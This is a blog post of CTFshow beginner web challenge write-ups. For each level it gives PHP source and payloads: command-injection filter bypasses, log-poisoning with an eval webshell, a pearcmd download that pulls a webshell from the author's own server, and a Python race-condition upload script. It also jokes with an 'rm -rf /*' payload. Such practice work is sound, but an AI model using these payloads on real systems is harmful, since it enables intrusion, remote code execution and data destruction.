15. CTFshow 萌新 web集合

web1-7

一、代码

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['id'])){
    $id = $_GET['id'];
    # 判断id的值是否大于999
    if(intval($id) > 999){
        # id 大于 999 直接退出并返回错误
        die("id error");
    }else{
        # id 小于 999 拼接sql语句
        $sql = "select * from article where id = $id order by id limit 1 ";
        echo "执行的sql为:$sql<br>";
        # 执行sql 语句
        $result = $conn->query($sql);
        # 判断有没有查询结果
        if ($result->num_rows > 0) {
            # 如果有结果,获取结果对象的值$row
            while($row = $result->fetch_assoc()) {
                echo "id: " . $row["id"]. " - title: " . $row["title"]. " <br><hr>" . $row["content"]. "<br>";
            }
        }
        # 关闭数据库连接
        $conn->close();
    }
    
}else{
    highlight_file(__FILE__);
}

?>
</body>
<!-- flag in id = 1000 -->
</html>

二、解题步骤

根据提示 id=1000就可以,但是又需要小于999。

三、payload

  1. intval()函数绕过:因为intval函数遇到不能转化的字符回返回0?id='1000'
  2. 闭合绕过:?id=-1 or 1000
  3. 双重取反:~~1000
  4. 十六进制:x3e8
  5. 二进制:b1111101000

web8

一、代码

<html>
<head>
    <title>ctf.show萌新计划web1</title>
    <meta charset="utf-8">
</head>
<body>
<?php
# 包含数据库连接文件,key flag 也在里面定义
include("config.php");
# 判断get提交的参数id是否存在
if(isset($_GET['flag'])){
        if(isset($_GET['flag'])){
                $f = $_GET['flag'];
                if($key===$f){
                        echo $flag;
                }
        }
}else{
    highlight_file(__FILE__);
}

?>
</body>
</html>

二、解题步骤

听过说这是一个梗,然后在群里问大佬,大佬说。是rm rf那道题吗,在看看题目信息:阿呆熟悉的一顿操作,去了埃塞尔比亚。,可能就是传说中的删库跑路。

三、payload

  1. ?flag=rm -rf /*

web9

一、代码

if(preg_match("/system|exec|highlight/i",$c)){

二、解题步骤

题目没有进行过滤,只判断了是否存在system|exec|highlight。
使用system来执行命令。

三、payload

  1. ?c=system('ls');

web10

一、代码

if(!preg_match("/system|exec|highlight/i",$c))

二、解题步骤

简单的过滤,不会影响

三、payload

  1. ?c=eval($_GET['a']);&a=system('ls');

web11

一、代码

if(!preg_match("/system|exec|highlight|cat/i",$c))

二、解题步骤

过滤了cat,我们也可以用上一题的方法。
这次使用新方法,使用连接符""

三、payload

  1. ?c=passthru('ca""t config.php');

web12

一、代码

if(!preg_match("/system|exec|highlight|cat|\.|php|config/i",$c))

二、解题步骤

这次过滤的比较多,cat|php|.|config
可以继续使用passthru()函数,对参数进行base64编码。

三、payload

  1. ?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27));

web13

一、代码

if(!preg_match("/system|exec|highlight|cat|\.|\;|file|php|config/i",$c))

二、解题步骤

对比上一次新过滤了;分号。还是可以用上一题的payload,把最后的;替换?>即可。
新方法:利用优先级来绕过,Linux中的反引号是优先执行,先执行ls在执行cat

三、payload

payload1: ?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?>
payload2:

?c=passthru('c""at `ls`')?>

web14

一、代码

if(!preg_match("/system|exec|highlight|cat|\(|\.|\;|file|php|config/i",$c))

二、解题步骤

过滤了()需要用到一个可以无括号的参数。

三、payload

payload1:GET:?c=include$_POST['a']?> 、 POST:a=php://filter/read=convert.base64-encode/resource=config.php
payload2:

?c=echo `$_REQUEST[a]`?>&a=cat config.php

web15

一、代码

if(!preg_match("/system|\\*|\?|\<|\>|\=|exec|highlight|cat|\(|\.|file|php|config/i",$c))

二、解题步骤

过滤比较多:*|?|<>|=|()|.
需要注意的是,过滤了?>,并没有过滤;分号。
还是可以用上一题的payload

三、payload

payload:

echo `$_REQUEST[a]`;&a=cat config.php

web10-15总结

1. passthru() 函数 :可以用来执行外部命令
	1. ?c=passthru('cat config.php');
	2. ?c=passthru(base64_decode(%27Y2F0IGNvbmZpZy5waHA=%27))?>
	
2. 变量拼接+函数动态执行
	1. $a='sys';$b='tem';$c=$a.$b;$c('cat config.php');
	
3. base64编码绕过:
	1. c=$a=base64_decode("c3lzdGVt");$b=base64_decode("Y2F0IGNvbmZpZy5waHA=");$a($b);
	
4. 连接符绕过:
	1. cat = ca""t

5. Linux中的反引号是优先执行,先执行 ls 在执行 cat
	1. ?c=passthru('c""at `ls`');

6. eval
	1. ?c=eval($_POST[1]); 1=system('ls');

7. include-括号绕过,
	1. GET:?c=include$_POST['a']?>   POST: a=php://filter/read=convert.base64-encode/resource=config.php

8. echo - 括号绕过
	1. ?c=echo `$_REQUEST[a]`;&a=cat config.php

9. 分号绕过,?>
	1.在php中可以直接使用  ?>  来代替 ; 

web16

一、代码

if(md5("ctfshow$c")==="a6f57ae38a22448c2f07f3f95f49c84e")

二、解题步骤

ctfshow+$c的md5值要等于a6f57ae38a22448c2f07f3f95f49c84e
这里介绍以下大佬文章md5爆破https://su29029.github.io/2020/08/28/ctfshow萌新计划刷题记录/

三、payload

  1. ?c=36d

web17-21

一、代码

if(!preg_match("/php/i",$c)){
               include($c);

二、解题步骤

阿呆终于怀揣自己的梦想来到了故土,凭借着高超的系统垃圾清理(rm -rf /*)技术,很快的阿呆找到了一份程序员工作

  1. 只有include包含函数,还过滤了php。使用伪协议不太可能。
  2. 查询了才知道是利用nginx的日志写入webshell。
  3. include()函数会解析php代码,不管是不是php文件,都会当作php代码来执行。

三、payload

  1. 包含nginx日志,?c=/var/log/nginx/access.log
  2. 发现把User-Agent 写入到了日志里。
  3. 只要把一句话木马写入到User-Agent 里,然后使用include() 进行包含,就可以用蚁剑进行连接。
  4. 拦截数据包,修改User-Agent 为:<?php eval($-POST[1]);?>
    image
  5. 然后使用蚁剑连接http://a47f843d-1284-4dc7-82d5-903d61f61198.challenge.ctf.show/?c=/var/log/nginx/access.log

web22

一、代码

if(!preg_match("/\:|\/|\\\/i",$c)){
               include($c.".php");
       }

二、解题步骤

这里用到了register_argc_argv的知识
在register_argc_argv开启的时候可以通过+来分隔变量
先进行包含pearcmd.php然后在通过+分隔符来执行download命令

三、payload

  1. 在自己服务器搭建http服务,建立木马文件。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]);?>'); ?>
<?php file_put_contents("shell2.php","<?php @eval($_POST[cmd]);?>");?>
  1. 访问的同时会创建shell.php 文件。
  2. 然后传入?c=pearcmd&+download+http://自己的VPS/aa.php
  3. 然后目标靶机就会下载aa.php然后。然后访问http://48a959cc-51cc-46dd-bf65-aa3187ce6f83.challenge.ctf.show/aa.php就会生成shell.php一句话木马,这个时候就可以进行连接。

获得百分之百的快乐

一、代码

if(strlen($_GET[1])<4){
     echo shell_exec($_GET[1]);

二、解题步骤

nl>:创建一个nl空文件。
*: 以当前路径下第一个文件名作为命令执行。
比如:目录下第一个文件叫做ss.txt的文件,文件内容为:123455。这个时候我执行>nl,然后在执行*,就会把ss.txt内容进行输出,如果我在当前页面执行>nl*就会把ss.txt的内容输出到当前页面。

三、payload

  1. >nl
  2. *

web23-24

一、解题步骤

本道题就是一个条件竞争访问,每次刷新浏览器都会以当前时间命名。
就不自己写脚本了,使用大佬的脚本。
附上大佬连接:https://blog.csdn.net/qq_41274349/article/details/123707765

二、payload

  1. web24是rand(0,300)和sleep(3),修改一下参数就能跑
# coding: utf-8
# Auth: y2hlbmc
 
import requests
import time
import threading
 
url = "http://7dbded2a-12d4-4d3a-a8c5-ddc6d8e78d74.challenge.ctf.show/"
 
def Thread(fun,*args):
    return threading.Thread(target=fun, args=args)
 
def req(fname):
    r = requests.get(url + "uploads/" + fname + ".php")
    x = r.text
    if len(x) > 0 and "404 Not Found" not in x and "容器已过期" not in x:
        print(x)
 
def Thread_start(fname):
    for i in range(100,400):
        # 每个文件名单起一个线程
        Thread(req, fname + str(i)).start()
 
def upload():
    while True:
        file_data = {'file':('shell.php',"<?php system(\"tac ../flaghere0.txt\");?>".encode())}
        r = requests.post(url + "upload.php",files=file_data)
        txt = r.text
        print("uploaded:",txt)
        # 用本次的文件名推算下一次的文件名,相差sleep一次的时间间隔
        ts = int(time.mktime(time.strptime(txt[8:22], "%Y%m%d%H%M%S")))
        fname = time.strftime("%Y%m%d%H%M%S", time.localtime(ts + 1))
        # 单起一个线程,爆破下一次upload的文件名
        Thread(Thread_start, fname).start()
 
 
if __name__ == '__main__':
    upload()
posted @ 2023-02-15 16:00  LuckMeteor  阅读(902)  评论(0编辑  收藏  举报